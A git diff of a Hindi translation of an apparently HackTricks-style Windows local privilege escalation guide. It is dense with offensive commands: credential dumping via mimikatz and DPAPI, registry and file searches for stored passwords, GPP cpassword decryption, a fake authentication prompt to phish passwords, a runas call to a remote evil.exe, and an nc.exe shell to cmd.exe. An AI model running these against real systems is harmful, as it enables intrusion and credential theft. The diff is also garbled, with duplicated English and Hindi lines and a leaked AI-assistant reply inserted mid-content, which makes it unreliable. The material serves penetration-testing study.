+संभावित **third party weird/vulnerable** drivers की तलाश करें ```bash driverquery driverquery.exe /fo table driverquery /SI ``` -If a driver exposes an arbitrary kernel read/write primitive (common in poorly designed IOCTL handlers), you can escalate by stealing a SYSTEM token directly from kernel memory. नीचे दिए गए चरण-दर-चरण तरीके को देखें: +यदि कोई driver एक arbitrary kernel read/write primitive एक्सपोज़ करता है (बुरी तरह डिज़ाइन किए गए IOCTL handlers में सामान्य), तो आप kernel memory से सीधे SYSTEM token चुरा कर escalate कर सकते हैं। step‑by‑step technique यहाँ देखें: {{#ref}} arbitrary-kernel-rw-token-theft.md @@ -643,14 +649,13 @@ arbitrary-kernel-rw-token-theft.md ## PATH DLL Hijacking -यदि आपके पास **write permissions inside a folder present on PATH** हैं तो आप किसी प्रक्रिया द्वारा लोड की गई DLL को hijack कर सकते हैं और **escalate privileges** कर सकते हैं। +यदि आपके पास **write permissions inside a folder present on PATH** हैं, तो आप किसी process द्वारा लोड की गई DLL को hijack करके **escalate privileges** कर सकते हैं। -PATH के अंदर मौजूद सभी फ़ोल्डरों की permissions जाँचें: +PATH के भीतर सभी फोल्डरों के permissions चेक करें: ```bash for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` -इस जांच का दुरुपयोग कैसे किया जाए, इसके बारे में अधिक जानकारी के लिए: - +इस जांच का दुरुपयोग करने के तरीके के बारे में अधिक जानकारी के लिए: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -668,7 +673,7 @@ net share #Check current shares ``` ### hosts file -hosts file पर hardcoded अन्य ज्ञात कंप्यूटरों की जाँच करें +hosts file पर hardcoded अन्य जाने-पहचाने कंप्यूटरों की जाँच करें ``` type C:\Windows\System32\drivers\etc\hosts ``` @@ -678,49 +683,49 @@ ipconfig /all Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address Get-DnsClientServerAddress -AddressFamily IPv4 | ft ``` -### खुले पोर्ट +### Open Ports -बाहर से **प्रतिबंधित सेवाओं** की जाँच करें +बाहर से **restricted services** की जाँच करें ```bash netstat -ano #Opened ports? ``` -### रूटिंग तालिका +### राउटिंग तालिका ``` route print Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex ``` -### ARP Table +### ARP तालिका ``` arp -A Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L ``` -### फ़ायरवॉल नियम +### Firewall Rules -[**फ़ायरवॉल से संबंधित कमांड के लिए इस पृष्ठ को देखें**](../basic-cmd-for-pentesters.md#firewall) **(नियम सूची दिखाना, नियम बनाना, बंद करना, बंद करना...)** +[**Check this page for Firewall related commands**](../basic-cmd-for-pentesters.md#firewall) **(नियम सूचीबद्ध करना, नियम बनाना, बंद करना, बंद करना...)** -अधिक[ network enumeration के लिए commands यहाँ](../basic-cmd-for-pentesters.md#network) +अधिक[ commands for network enumeration here](../basic-cmd-for-pentesters.md#network) ### Windows Subsystem for Linux (wsl) ```bash C:\Windows\System32\bash.exe C:\Windows\System32\wsl.exe ``` -बाइनरी `bash.exe` को `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` पर भी पाया जा सकता है। +बाइनरी `bash.exe` को `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe` में भी पाया जा सकता है -यदि आप root user प्राप्त कर लेते हैं तो आप किसी भी port पर listen कर सकते हैं (पहली बार जब आप `nc.exe` का उपयोग किसी port पर listen करने के लिए करेंगे, तो यह GUI के माध्यम से पूछेगा कि `nc` को firewall द्वारा allow किया जाना चाहिए या नहीं)। +यदि आप root user प्राप्त कर लेते हैं तो आप किसी भी पोर्ट पर listen कर सकते हैं (पहली बार जब आप `nc.exe` को किसी पोर्ट पर listen करने के लिए उपयोग करेंगे तो यह GUI के माध्यम से पूछेगा कि `nc` को firewall द्वारा allow किया जाना चाहिए या नहीं)। ```bash wsl whoami ./ubuntun1604.exe config --default-user root wsl whoami wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE' ``` -bash को आसानी से root के रूप में शुरू करने के लिए, आप `--default-user root` आज़मा सकते हैं +root के रूप में bash को आसानी से शुरू करने के लिए, आप `--default-user root` आज़मा सकते हैं आप `WSL` फाइलसिस्टम को फ़ोल्डर `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\` में एक्सप्लोर कर सकते हैं -## Windows क्रेडेंशियल्स +## Windows Credentials -### Winlogon क्रेडेंशियल्स +### Winlogon Credentials ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername" @@ -735,13 +740,13 @@ reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDef ### Credentials manager / Windows vault From [https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault](https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault)\ -The Windows Vault सर्वर, वेबसाइट और अन्य प्रोग्रामों के लिए उपयोगकर्ता क्रेडेंशियल्स स्टोर करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वचालित रूप से लॉग इन** करवा सकता है। पहली नज़र में ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook, Twitter, Gmail आदि के क्रेडेंशियल्स यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़र के माध्यम से स्वतः लॉग इन हो जाएं। पर ऐसा नहीं है। +The Windows Vault सर्वरों, वेबसाइटों और अन्य प्रोग्रामों के लिए user credentials संग्रहीत करता है जिन्हें **Windows** उपयोगकर्ताओं को **स्वतः लॉग इन** करवा सकता है। पहली नज़र में ऐसा लग सकता है कि उपयोगकर्ता अपने Facebook, Twitter, Gmail आदि के क्रेडेंशियल्स यहाँ स्टोर कर सकते हैं ताकि वे ब्राउज़र के माध्यम से स्वतः लॉग इन हो जाएँ। लेकिन ऐसा नहीं है। -Windows Vault उन क्रेडेंशियल्स को स्टोर करता है जिनसे Windows उपयोगकर्ताओं को स्वतः लॉग इन कर सकता है, जिसका मतलब यह है कि कोई भी **Windows application that needs credentials to access a resource** (server या वेबसाइट) **can make use of this Credential Manager** और Windows Vault का उपयोग करके उपलब्ध कराए गए क्रेडेंशियल्स का उपयोग कर सकता है, बजाय इसके कि उपयोगकर्ता बार-बार यूज़रनेम और पासवर्ड डालें। +Windows Vault उन क्रेडेंशियल्स को स्टोर करता है जिनका उपयोग Windows स्वतः उपयोगकर्ता को लॉग इन कराने के लिए कर सकता है, जिसका मतलब यह है कि कोई भी **Windows application that needs credentials to access a resource** (server or a website) **can make use of this Credential Manager** और Windows Vault का उपयोग करके दिए गए क्रेडेंशियल्स को इस्तेमाल कर सकता है, ताकि उपयोगकर्ता बार-बार username और password न डालें। -जब तक applications Credential Manager के साथ interact नहीं करतीं, मुझे नहीं लगता कि वे किसी दिए गए resource के लिए क्रेडेंशियल्स का उपयोग कर पाएंगी। इसलिए, यदि आपका application vault का उपयोग करना चाहता है, तो उसे किसी तरह से **credential manager के साथ communicate कर के उस resource के लिए क्रेडेंशियल्स request** करने चाहिए और वे क्रेडेंशियल्स default storage vault से प्राप्त होने चाहिए। +जब तक applications Credential Manager के साथ interact नहीं करते, मेरा नहीं मानना कि वे किसी दिए गए resource के लिए क्रेडेंशियल्स का उपयोग कर पाएँगे। इसलिए, यदि आपका application vault का उपयोग करना चाहता है, तो उसे किसी तरह default storage vault से उस resource के लिए क्रेडेंशियल्स के अनुरोध के लिए **communicate with the credential manager and request the credentials for that resource** करना चाहिए। -Use the `cmdkey` to list the stored credentials on the machine. +मशीन पर स्टोर किए गए क्रेडेंशियल्स की सूची दिखाने के लिए `cmdkey` का उपयोग करें। ```bash cmdkey /list Currently stored credentials: @@ -749,38 +754,39 @@ Target: Domain:interactive=WORKGROUP\Administrator Type: Domain Password User: WORKGROUP\Administrator ``` -फिर आप `runas` का `/savecred` विकल्पों के साथ उपयोग कर सकते हैं ताकि saved credentials का उपयोग किया जा सके। निम्न उदाहरण SMB share के माध्यम से एक remote binary को कॉल कर रहा है। +फिर आप सहेजे गए `credentials` का उपयोग करने के लिए `runas` को `/savecred` विकल्प के साथ उपयोग कर सकते हैं। निम्न उदाहरण SMB share के माध्यम से एक remote binary को कॉल करता है। ```bash runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" ``` -प्रदान किए गए credentials के साथ `runas` का उपयोग। +प्रदान किए गए credential सेट के साथ `runas` का उपयोग। ```bash C:\Windows\System32\runas.exe /env /noprofile /user: "c:\users\Public\nc.exe -nc 4444 -e cmd.exe" ``` -ध्यान दें कि mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), या [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1) से। +Note that mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/utils/credentials_file_view.html), [VaultPasswordView](https://www.nirsoft.net/utils/vault_password_view.html), or from [Empire Powershells module](https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/dumpCredStore.ps1). ### DPAPI -**Data Protection API (DPAPI)** डेटा के symmetric encryption के लिए एक तरीका प्रदान करता है, जो प्रमुख रूप से Windows operating system के भीतर asymmetric private keys के symmetric encryption के लिए उपयोग होता है। यह एन्क्रिप्शन entropy में महत्वपूर्ण योगदान देने के लिए उपयोगकर्ता या सिस्टम secret का उपयोग करता है। +**Data Protection API (DPAPI)** डेटा के symmetric एन्क्रिप्शन के लिए एक तरीका प्रदान करता है, जो मुख्य रूप से Windows ऑपरेटिंग सिस्टम के अंदर asymmetric private keys के symmetric एन्क्रिप्शन में उपयोग होता है। यह एन्क्रिप्शन entropy में महत्वपूर्ण योगदान करने के लिए किसी user या system secret का उपयोग करता है। -**DPAPI उपयोगकर्ता के login secrets से व्युत्पन्न एक symmetric key के माध्यम से keys के एन्क्रिप्शन को सक्षम करता है**। सिस्टम-स्तर के एन्क्रिप्शन वाले परिदृश्यों में, यह सिस्टम के domain authentication secrets का उपयोग करता है। +**DPAPI उपयोगकर्ता के लॉगिन रहस्यों से व्युत्पन्न एक symmetric key के माध्यम से keys के एन्क्रिप्शन को सक्षम करता है**। सिस्टम-स्तर के एन्क्रिप्शन के मामलों में यह सिस्टम के domain authentication secrets का उपयोग करता है। -DPAPI का उपयोग करके एन्क्रिप्ट किए गए उपयोगकर्ता RSA keys `%APPDATA%\Microsoft\Protect\{SID}` डायरेक्टरी में संग्रहीत होते हैं, जहाँ `{SID}` उपयोगकर्ता के [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) का प्रतिनिधित्व करता है। **DPAPI key, जो उपयोगकर्ता की private keys की सुरक्षा करने वाले master key के साथ उसी फाइल में साथ रहती है**, सामान्यतः 64 bytes के random डेटा से बनी होती है। (यह ध्यान रखना महत्वपूर्ण है कि इस डायरेक्टरी तक पहुँच प्रतिबंधित है, इसलिए इसकी सामग्री को CMD में `dir` कमांड से सूचीबद्ध नहीं किया जा सकता, हालांकि इसे PowerShell के माध्यम से सूचीबद्ध किया जा सकता है)। +DPAPI का उपयोग करके एन्क्रिप्टेड user RSA keys `%APPDATA%\Microsoft\Protect\{SID}` डायरेक्टरी में स्टोर होते हैं, जहाँ `{SID}` उपयोगकर्ता का [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) दर्शाता है। **DPAPI key, जो उसी फ़ाइल में उपयोगकर्ता की private keys की रक्षा करने वाले master key के साथ सह-स्थित होती है**, आम तौर पर 64 bytes का random data होता है। (यह ध्यान देने योग्य है कि इस डायरेक्टरी तक पहुंच सीमित है, इसलिए इसकी सामग्री को `dir` कमांड से CMD में सूचीबद्ध नहीं किया जा सकता, हालांकि PowerShell से सूचीबद्ध किया जा सकता है)। ```bash Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\ Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\ ``` -आप उपयुक्त आर्ग्युमेंट्स (`/pvk` या `/rpc`) के साथ **mimikatz module** `dpapi::masterkey` का उपयोग इसे डिक्रिप्ट करने के लिए कर सकते हैं। +आप इसे डिक्रिप्ट करने के लिए उपयुक्त आर्गुमेंट्स (`/pvk` या `/rpc`) के साथ **mimikatz module** `dpapi::masterkey` का उपयोग कर सकते हैं। -**credentials files protected by the master password** आम तौर पर निम्न स्थानों पर पाई जाती हैं: +ये **credentials files protected by the master password** आमतौर पर निम्न स्थानों पर स्थित होती हैं: ```bash dir C:\Users\username\AppData\Local\Microsoft\Credentials\ dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\ Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\ ``` -आप उपयुक्त `/masterkey` के साथ **mimikatz module** `dpapi::cred` का उपयोग करके decrypt कर सकते हैं.\ -आप `sekurlsa::dpapi` module का उपयोग करके **memory** से कई **DPAPI** **masterkeys** extract कर सकते हैं (यदि आप root हैं)। +You can use **mimikatz module** `dpapi::cred` with the appropiate `/masterkey` to decrypt.\ +यदि आप root हैं, तो `sekurlsa::dpapi` module के साथ **memory** से कई **DPAPI** **masterkeys** extract कर सकते हैं (if you are root). + {{#ref}} dpapi-extracting-passwords.md @@ -788,7 +794,7 @@ dpapi-extracting-passwords.md ### PowerShell Credentials -**PowerShell credentials** को अक्सर **scripting** और automation tasks के लिए encrypted credentials को सुविधाजनक तरीके से store करने के लिए उपयोग किया जाता है। ये credentials **DPAPI** द्वारा सुरक्षित होते हैं, जिसका सामान्य अर्थ है कि इन्हें आम तौर पर केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर decrypt किया जा सकता है जिस पर इन्हें बनाया गया था। +**PowerShell credentials** अक्सर **scripting** और automation कार्यों के लिए encrypted credentials को सुविधाजनक तरीके से स्टोर करने के लिए उपयोग किए जाते हैं। ये credentials **DPAPI** द्वारा सुरक्षित होते हैं, जिसका सामान्यतः मतलब है कि इन्हें केवल उसी उपयोगकर्ता द्वारा उसी कंप्यूटर पर डिक्रिप्ट किया जा सकता है जिस पर इन्हें बनाया गया था। To **decrypt** a PS credentials from the file containing it you can do: ```bash @@ -801,7 +807,7 @@ PS C:\htb> $credential.GetNetworkCredential().password JustAPWD! ``` -### Wifi +### वाई-फ़ाई ```bash #List saved Wifi using netsh wlan show profile @@ -813,7 +819,7 @@ cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| ### सहेजे गए RDP कनेक्शन आप इन्हें `HKEY_USERS\\Software\Microsoft\Terminal Server Client\Servers\`\ -और `HKCU\Software\Microsoft\Terminal Server Client\Servers\` +और `HKCU\Software\Microsoft\Terminal Server Client\Servers\` में पाएंगे ### हाल ही में चलाए गए कमांड ``` @@ -825,19 +831,27 @@ HKCU\\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU %localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings ``` Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**\ -आप मेमोरी से कई **DPAPI masterkeys** Mimikatz `sekurlsa::dpapi` module के साथ **extract** कर सकते हैं +आप उपयुक्त `/masterkey` के साथ **Mimikatz** के `dpapi::rdg` मॉड्यूल का उपयोग करके किसी भी .rdg फ़ाइलों को **डिक्रिप्ट** कर सकते हैं। + +You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module +आप मेमोरी से **कई DPAPI masterkeys** Mimikatz के `sekurlsa::dpapi` मॉड्यूल के साथ निकाल सकते हैं। ### Sticky Notes -लोग अक्सर Windows workstations पर StickyNotes app का उपयोग पासवर्ड और अन्य जानकारी **save** करने के लिए करते हैं, यह न समझते हुए कि यह एक database फ़ाइल है। यह फ़ाइल इस स्थान पर स्थित है `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` और इसे ढूँढना और जांचना हमेशा उपयोगी होता है। +People often use the StickyNotes app on Windows workstations to **save passwords** and other information, not realizing it is a database file. This file is located at `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` and is always worth searching for and examining. +लोग अक्सर Windows workstations पर StickyNotes app का उपयोग पासवर्ड और अन्य जानकारी **सहेजने** के लिए करते हैं, यह समझे बिना कि यह एक database फ़ाइल है। यह फ़ाइल इस स्थान पर स्थित है `C:\Users\\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite` और इसे हमेशा ढूँढकर और जांचकर देखना चाहिए। ### AppCmd.exe -**ध्यान दें कि AppCmd.exe से passwords recover करने के लिए आपको Administrator होना चाहिए और इसे High Integrity level के तहत चलाना चाहिए।**\ -**AppCmd.exe** `%systemroot%\system32\inetsrv\` डायरेक्टरी में स्थित है।\ -यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **credentials** कॉन्फ़िगर किए गए हों और उन्हें **recovered** किया जा सके। +**Note that to recover passwords from AppCmd.exe you need to be Administrator and run under a High Integrity level.**\ +**AppCmd.exe** is located in the `%systemroot%\system32\inetsrv\` directory.\ +If this file exists then it is possible that some **credentials** have been configured and can be **recovered**. +ध्यान दें कि AppCmd.exe से पासवर्ड पुनर्प्राप्त करने के लिए आपको Administrator होना चाहिए और इसे High Integrity level के तहत चलाना होगा। +**AppCmd.exe** `%systemroot%\system32\inetsrv\` directory में स्थित है। +यदि यह फ़ाइल मौजूद है तो संभव है कि कुछ **credentials** कॉन्फ़िगर किए गए हों और इन्हें **पुनर्प्राप्त** किया जा सके। -This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +This code was extracted from [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1): +यह कोड [**PowerUP**](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) से निकाला गया था: ```bash function Get-ApplicationHost { $OrigError = $ErrorActionPreference @@ -917,40 +931,42 @@ $ErrorActionPreference = $OrigError ``` ### SCClient / SCCM -जाँचें कि `C:\Windows\CCM\SCClient.exe` मौजूद है .\ -इंस्टॉलर्स **SYSTEM privileges के साथ चलते हैं**, कई प्रभावित होते हैं **DLL Sideloading (Info from** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** +जाँच करें कि `C:\Windows\CCM\SCClient.exe` मौजूद है .\ +इंस्टॉलर **SYSTEM privileges के साथ चलाए जाते हैं**, कई **DLL Sideloading (जानकारी स्रोत** [**https://github.com/enjoiz/Privesc**](https://github.com/enjoiz/Privesc)**).** ```bash $result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion if ($result) { $result } else { Write "Not Installed." } ``` -## फ़ाइलें और Registry (Credentials) +## फ़ाइलें और रजिस्ट्री (Credentials) ### Putty Creds ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there ``` -### Putty SSH होस्ट कुंजियाँ +### Putty SSH होस्ट कीज़ ``` reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\ ``` -### SSH keys रजिस्ट्री में +### रजिस्ट्री में SSH keys -SSH private keys रजिस्ट्री की key `HKCU\Software\OpenSSH\Agent\Keys` में स्टोर हो सकते हैं, इसलिए आपको देखना चाहिए कि वहाँ कुछ रोचक है या नहीं: +SSH private keys रजिस्ट्री key `HKCU\Software\OpenSSH\Agent\Keys` के अंदर स्टोर हो सकते हैं, इसलिए आपको देखना चाहिए कि वहाँ कुछ दिलचस्प है या नहीं: ```bash reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys' ``` -यदि आप उस path के अंदर कोई एंट्री पाते हैं, तो वह संभवतः एक saved SSH key होगी। यह encrypted रूप में संग्रहीत होती है, लेकिन इसे आसानी से [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके decrypted किया जा सकता है.\ +यदि आप उस पथ के अंदर कोई प्रविष्टि पाते हैं तो वह संभवतः एक सहेजा गया SSH key होगा। +यह एन्क्रिप्टेड रूप में संग्रहीत होता है लेकिन [https://github.com/ropnop/windows_sshagent_extract](https://github.com/ropnop/windows_sshagent_extract) का उपयोग करके इसे आसानी से डिक्रिप्ट किया जा सकता है.\ + इस तकनीक के बारे में अधिक जानकारी यहाँ: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/) -यदि `ssh-agent` service चल नहीं रही है और आप चाहते हैं कि यह boot पर स्वतः शुरू हो, तो चलाएँ: +यदि `ssh-agent` सेवा चल नहीं रही है और आप चाहते हैं कि यह बूट पर स्वचालित रूप से शुरू हो तो चलाएँ: ```bash Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service ``` > [!TIP] -> ऐसा लगता है कि यह तकनीक अब मान्य नहीं है। मैंने कुछ ssh keys बनाने की कोशिश की, उन्हें `ssh-add` से जोड़ा और ssh के माध्यम से किसी मशीन में लॉगिन किया। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने असममित कुंजी प्रमाणीकरण के दौरान `dpapi.dll` के उपयोग की पहचान नहीं की। +> ऐसा लगता है कि यह technique अब मान्य नहीं है। मैंने कुछ ssh keys बनाए, उन्हें `ssh-add` से जोड़ा और ssh के जरिए किसी मशीन में लॉगिन करने की कोशिश की। रजिस्ट्री HKCU\Software\OpenSSH\Agent\Keys मौजूद नहीं है और procmon ने asymmetric key authentication के दौरान `dpapi.dll` के उपयोग की पहचान नहीं की। -### बिना निगरानी फ़ाइलें +### Unattended files ``` C:\Windows\sysprep\sysprep.xml C:\Windows\sysprep\sysprep.inf @@ -965,7 +981,7 @@ C:\unattend.txt C:\unattend.inf dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul ``` -आप इन फ़ाइलों को **metasploit** का उपयोग करके भी खोज सकते हैं: _post/windows/gather/enum_unattend_ +आप इन फ़ाइलों को खोजने के लिए **metasploit** का उपयोग भी कर सकते हैं: _post/windows/gather/enum_unattend_ उदाहरण सामग्री: ```xml @@ -1008,15 +1024,15 @@ AppData\Roaming\gcloud\access_tokens.db ``` ### McAfee SiteList.xml -Search for a file called **SiteList.xml** +एक फाइल खोजें जिसका नाम **SiteList.xml** हो ### Cached GPP Pasword -एक ऐसा फीचर पहले उपलब्ध था जो Group Policy Preferences (GPP) के माध्यम से मशीनों के समूह पर कस्टम स्थानीय administrator खाते तैनात करने की अनुमति देता था। हालांकि, इस तरीके में गंभीर सुरक्षा कमियाँ थीं। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में संग्रहीत होते हैं, किसी भी domain user द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के अंदर के passwords, जो AES256 से एन्क्रिप्ट किए गए थे और एक सार्वजनिक रूप से प्रलेखित default key का उपयोग करते थे, किसी भी authenticated user द्वारा डिक्रिप्ट किए जा सकते थे। यह एक गंभीर जोखिम था, क्योंकि इससे उपयोगकर्ताओं को elevated privileges मिल सकते थे। +पहले एक ऐसी सुविधा थी जो Group Policy Preferences (GPP) के माध्यम से मशीनों के समूह पर custom local administrator accounts तैनात करने की अनुमति देती थी। हालांकि, इस तरीके में महत्वपूर्ण सुरक्षा दोष थे। सबसे पहले, Group Policy Objects (GPOs), जो SYSVOL में XML फ़ाइलों के रूप में स्टोर होते हैं, किसी भी domain user द्वारा एक्सेस किए जा सकते थे। दूसरे, इन GPPs के भीतर के पासवर्ड, जो AES256 से encrypted थे और एक publicly documented default key का उपयोग करते थे, किसी भी authenticated user द्वारा decrypt किए जा सकते थे। इससे गंभीर जोखिम पैदा होता था, क्योंकि इससे users को elevated privileges प्राप्त हो सकते थे। -इस जोखिम को कम करने के लिए, एक फ़ंक्शन विकसित किया गया था जो लोकली कैश किए गए उन GPP फ़ाइलों के लिए स्कैन करता है जिनमें खाली नहीं "cpassword" फ़ील्ड होती है। ऐसी फ़ाइल मिलने पर, फ़ंक्शन पासवर्ड को डिक्रिप्ट करता है और एक कस्टम PowerShell object लौटाता है। यह object GPP और फ़ाइल के स्थान के बारे में विवरण शामिल करता है, जो इस सुरक्षा कमजोरी की पहचान और निवारण में मदद करता है। +इस जोखिम को कम करने के लिए, एक function विकसित किया गया जो स्थानीय रूप से cache किए गए GPP फ़ाइलों को स्कैन करता है जिनमें एक "cpassword" फ़ील्ड होती है जो खाली नहीं होती। ऐसी फ़ाइल मिलने पर, function पासवर्ड को decrypt करता है और एक custom PowerShell object लौटाता है। इस object में GPP और फ़ाइल के स्थान के बारे में विवरण शामिल होते हैं, जो इस सुरक्षा कमजोरी की पहचान और समाधान में मदद करते हैं। -Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (W Vista से पहले)_ for these files: +Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history** (previous to W Vista)_ for these files: - Groups.xml - Services.xml @@ -1025,7 +1041,7 @@ Search in `C:\ProgramData\Microsoft\Group Policy\history` or in _**C:\Documents - Printers.xml - Drives.xml -**cPassword को डिक्रिप्ट करने के लिए:** +**cPassword को decrypt करने के लिए:** ```bash #To decrypt these passwords you can decrypt it using gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw @@ -1048,7 +1064,7 @@ C:\inetpub\wwwroot\web.config Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue ``` -web.config में credentials का उदाहरण: +web.config के साथ credentials का उदाहरण: ```xml @@ -1058,7 +1074,7 @@ web.config में credentials का उदाहरण: ``` -### OpenVPN क्रेडेंशियल्स +### OpenVPN credentials ```csharp Add-Type -AssemblyName System.Security $keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs" @@ -1086,9 +1102,9 @@ C:\inetpub\logs\LogFiles\* #Apache Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue ``` -### क्रेडेंशियल्स के लिए पूछें +### Credentials के लिए पूछें -आप हमेशा **user से उसके credentials या किसी अन्य user के credentials दर्ज करने के लिए कह सकते हैं** यदि आपको लगता है कि वह उन्हें जानता होगा (ध्यान दें कि client से सीधे **credentials** के लिए **मांगना** वास्तव में **खतरनाक** है): +आप हमेशा **उपयोगकर्ता से उसके credentials या यहाँ तक कि किसी अन्य उपयोगकर्ता के credentials दर्ज करने के लिए पूछ सकते हैं** यदि आपको लगता है कि वह उन्हें जानता होगा (ध्यान दें कि क्लाइंट से सीधे **पूछना** यानी सीधे **credentials** माँगना वास्तव में **जोखिमभरा** है): ```bash $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password @@ -1096,9 +1112,9 @@ $cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::U #Get plaintext $cred.GetNetworkCredential() | fl ``` -### **संभावित फ़ाइलनाम जिनमें credentials होते हैं** +### **संभावित फ़ाइल नाम जो credentials शामिल कर सकते हैं** -ज्ञात फ़ाइलें जिनमें कुछ समय पहले **passwords** **clear-text** या **Base64** में मौजूद थीं +कुछ समय पहले ज्ञात फ़ाइलें जिनमें **passwords** **clear-text** या **Base64** में मौजूद थे ```bash $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history vnc.ini, ultravnc.ini, *vnc* @@ -1162,7 +1178,7 @@ TypedURLs #IE %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat ``` -I don't have access to your repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the files you want translated). I will then translate the relevant English text to Hindi, preserving all markdown/html tags, paths, links and code as you requested. +I don't have access to your repository. Please paste the contents of src/windows-hardening/windows-local-privilege-escalation/README.md (or the files you want searched) and I'll translate the relevant English text to Hindi per your rules. ``` cd C:\ dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == 